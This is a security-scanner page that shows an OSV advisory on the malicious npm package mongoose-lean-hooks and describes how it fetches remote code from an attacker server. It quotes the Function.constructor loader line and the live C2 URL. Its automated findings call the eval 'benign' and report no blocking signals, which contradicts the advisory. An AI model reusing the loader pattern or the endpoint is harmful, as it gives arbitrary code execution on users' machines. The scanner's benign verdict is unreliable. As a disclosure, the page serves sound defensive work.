OSV Malicious Advisory
scanned 6h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6797 confirms this npm version as malicious. On `require('mongoose-lean-hooks')`, the package's main entry (index.js) runs a top-level async IIFE that issues an HTTP GET to http://mongos-hooks-api.vercel.app/defy/v3 with a bearer-style header. When the response is a 404 carrying a `token` string field, that server-controlled string is passed to `Function.constructor` with `require` bound in and immediately invoked (`const handler = new...
Advisory
MAL-2026-6797
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in mongoose-lean-hooks (npm)
Details
On `require('mongoose-lean-hooks')`, the package's main entry (index.js) runs a top-level async IIFE that issues an HTTP GET to http://mongos-hooks-api.vercel.app/defy/v3 with a bearer-style header. When the response is a 404 carrying a `token` string field, that server-controlled string is passed to `Function.constructor` with `require` bound in and immediately invoked (`const handler = new (Function.constructor)("require", res.token); handler(require);`), yielding arbitrary code execution in the consumer's Node process with full `require` access. The endpoint, path, and header token are hidden in test/config_test.js under a `module.exports` shaped like a benign test fixture and imported by the production entry — a deliberate evasion to make reviewers skim past the C2 configuration as test scaffolding. The package name and description mimic the legitimate mongoose plugin ecosystem (advertising createdAt/updatedAt timestamp functionality) to encourage installs. The plaintext HTTP destination and dynamic-payload design mean the attacker can change the delivered code at any time without republishing.
## Source: ghsa-malware (51f21ca8cb459221a26134e631f974e5a26cb292386a957c75da31b538119c61) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
No blocking static signals were detected.
Decision evidence
public snapshotBehavioral surface
EvalNetwork
UrlStrings
Source & flagged code
2 flagged · loading sourceindex.jsView file
97L98: module.exports = leanhooksPlugin; async function runHan...
Low
Eval
Package source references a known benign dynamic code generation pattern.
index.jsView on unpkg · L97README.mdView file
45patternName = generic_password
severity = medium
line = 45
matchedText = User.fin...e })
Medium
Findings
2 Medium3 Low
MediumNetwork
MediumSecret PatternREADME.md
LowScripts Present
LowEvalindex.js
LowUrl Strings